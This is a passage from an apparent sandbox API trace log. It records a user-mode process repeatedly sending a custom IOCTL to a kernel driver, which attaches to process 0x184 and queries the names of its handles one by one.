Object=0xfffff8a001e158c0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.719] ObfDereferenceObject (Object=0xfffff8a001e158c0) returned 0x1 [0131.719] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.719] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.719] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.719] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.719] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.719] PsAcquireProcessExitSynchronization () returned 0x0 [0131.719] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.719] ObReferenceObjectByHandle (in: Handle=0x720, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001ba99f0, HandleInformation=0x0) returned 0x0 [0131.719] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.719] PsReleaseProcessExitSynchronization () returned 0x2 [0131.719] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.719] ObQueryNameString (in: Object=0xfffff8a001ba99f0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.719] ObfDereferenceObject (Object=0xfffff8a001ba99f0) returned 0x1 [0131.719] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.719] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.719] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.719] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.719] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.719] PsAcquireProcessExitSynchronization () returned 0x0 [0131.719] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.719] ObReferenceObjectByHandle (in: Handle=0x728, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00226c630, HandleInformation=0x0) returned 0x0 [0131.719] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.719] PsReleaseProcessExitSynchronization () returned 0x2 [0131.719] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.720] ObQueryNameString (in: Object=0xfffff8a00226c630, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.720] ObfDereferenceObject (Object=0xfffff8a00226c630) returned 0x1 [0131.720] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.720] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.720] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.720] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.720] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.720] PsAcquireProcessExitSynchronization () returned 0x0 [0131.720] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.720] ObReferenceObjectByHandle (in: Handle=0x72c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00231a470, HandleInformation=0x0) returned 0x0 [0131.720] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.720] PsReleaseProcessExitSynchronization () returned 0x2 [0131.720] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.720] ObQueryNameString (in: Object=0xfffff8a00231a470, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.720] ObfDereferenceObject (Object=0xfffff8a00231a470) returned 0x1 [0131.720] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.720] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.720] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.720] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.720] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.720] PsAcquireProcessExitSynchronization () returned 0x0 [0131.720] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.720] ObReferenceObjectByHandle (in: Handle=0x730, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00207bf40, HandleInformation=0x0) returned 0x0 [0131.720] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.720] PsReleaseProcessExitSynchronization () returned 0x2 [0131.720] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.720] ObQueryNameString (in: Object=0xfffff8a00207bf40, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.720] ObfDereferenceObject (Object=0xfffff8a00207bf40) returned 0x1 [0131.720] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.720] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.720] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.720] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.721] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.721] PsAcquireProcessExitSynchronization () returned 0x0 [0131.721] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.721] ObReferenceObjectByHandle (in: Handle=0x734, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002339680, HandleInformation=0x0) returned 0x0 [0131.721] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.721] PsReleaseProcessExitSynchronization () returned 0x2 [0131.721] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.721] ObQueryNameString (in: Object=0xfffff8a002339680, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0131.721] ObfDereferenceObject (Object=0xfffff8a002339680) returned 0x1 [0131.721] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.721] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.721] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.721] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.721] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.721] PsAcquireProcessExitSynchronization () returned 0x0 [0131.721] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.721] ObReferenceObjectByHandle (in: Handle=0x73c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00234e060, HandleInformation=0x0) returned 0x0 [0131.721] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.721] PsReleaseProcessExitSynchronization () returned 0x2 [0131.721] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.721] ObQueryNameString (in: Object=0xfffff8a00234e060, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.721] ObfDereferenceObject (Object=0xfffff8a00234e060) returned 0x1 [0131.721] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.721] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.721] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.721] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.721] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.721] PsAcquireProcessExitSynchronization () returned 0x0 [0131.721] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.721] ObReferenceObjectByHandle (in: Handle=0x740, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0023488a0, HandleInformation=0x0) returned 0x0 [0131.721] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.721] PsReleaseProcessExitSynchronization () returned 0x2 [0131.721] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.721] ObQueryNameString (in: Object=0xfffff8a0023488a0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.721] ObfDereferenceObject (Object=0xfffff8a0023488a0) returned 0x1 [0131.721] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.722] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.722] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.722] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.722] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.722] PsAcquireProcessExitSynchronization () returned 0x0 [0131.722] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.722] ObReferenceObjectByHandle (in: Handle=0x748, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002341950, HandleInformation=0x0) returned 0x0 [0131.722] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.722] PsReleaseProcessExitSynchronization () returned 0x2 [0131.722] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.722] ObQueryNameString (in: Object=0xfffff8a002341950, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.722] ObfDereferenceObject (Object=0xfffff8a002341950) returned 0x1 [0131.722] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.722] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.722] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.722] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.722] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.722] PsAcquireProcessExitSynchronization () returned 0x0 [0131.722] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.722] ObReferenceObjectByHandle (in: Handle=0x754, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00235a630, HandleInformation=0x0) returned 0x0 [0131.722] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.722] PsReleaseProcessExitSynchronization () returned 0x2 [0131.722] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.722] ObQueryNameString (in: Object=0xfffff8a00235a630, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.722] ObfDereferenceObject (Object=0xfffff8a00235a630) returned 0x1 [0131.722] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.722] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.722] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.722] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.722] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.722] PsAcquireProcessExitSynchronization () returned 0x0 [0131.722] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.722] ObReferenceObjectByHandle (in: Handle=0x758, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0021d13f0, HandleInformation=0x0) returned 0x0 [0131.722] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.722] PsReleaseProcessExitSynchronization () returned 0x2 [0131.723] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.723] ObQueryNameString (in: Object=0xfffff8a0021d13f0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.723] ObfDereferenceObject (Object=0xfffff8a0021d13f0) returned 0x1 [0131.723] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.723] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.723] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.723] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.723] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.723] PsAcquireProcessExitSynchronization () returned 0x0 [0131.723] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.723] ObReferenceObjectByHandle (in: Handle=0x77c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002343140, HandleInformation=0x0) returned 0x0 [0131.723] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.723] PsReleaseProcessExitSynchronization () returned 0x2 [0131.723] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.723] ObQueryNameString (in: Object=0xfffff8a002343140, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.723] ObfDereferenceObject (Object=0xfffff8a002343140) returned 0x1 [0131.723] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.723] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.723] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.723] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.723] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.723] PsAcquireProcessExitSynchronization () returned 0x0 [0131.723] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.723] ObReferenceObjectByHandle (in: Handle=0x884, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00320f470, HandleInformation=0x0) returned 0x0 [0131.723] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.723] PsReleaseProcessExitSynchronization () returned 0x2 [0131.723] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.723] ObQueryNameString (in: Object=0xfffff8a00320f470, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.723] ObfDereferenceObject (Object=0xfffff8a00320f470) returned 0x1 [0131.723] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.723] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.723] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.723] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.723] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.724] PsAcquireProcessExitSynchronization () returned 0x0 [0131.724] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.724] ObReferenceObjectByHandle (in: Handle=0x8a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0028063e0, HandleInformation=0x0) returned 0x0 [0131.724] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.724] PsReleaseProcessExitSynchronization () returned 0x2 [0131.724] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.724] ObQueryNameString (in: Object=0xfffff8a0028063e0, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.724] ObfDereferenceObject (Object=0xfffff8a0028063e0) returned 0x1 [0131.724] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.724] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.724] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.724] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.724] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.724] PsAcquireProcessExitSynchronization () returned 0x0 [0131.724] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.724] ObReferenceObjectByHandle (in: Handle=0x8b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0039236a0, HandleInformation=0x0) returned 0x0 [0131.724] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.724] PsReleaseProcessExitSynchronization () returned 0x2 [0131.724] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.724] ObQueryNameString (in: Object=0xfffff8a0039236a0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.724] ObfDereferenceObject (Object=0xfffff8a0039236a0) returned 0x1 [0131.724] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.724] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.724] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.724] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.724] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.724] PsAcquireProcessExitSynchronization () returned 0x0 [0131.724] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.724] ObReferenceObjectByHandle (in: Handle=0x8bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00286ec70, HandleInformation=0x0) returned 0x0 [0131.724] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.724] PsReleaseProcessExitSynchronization () returned 0x2 [0131.724] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.724] ObQueryNameString (in: Object=0xfffff8a00286ec70, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.724] ObfDereferenceObject (Object=0xfffff8a00286ec70) returned 0x1 [0131.724] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.725] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.725] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.725] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, 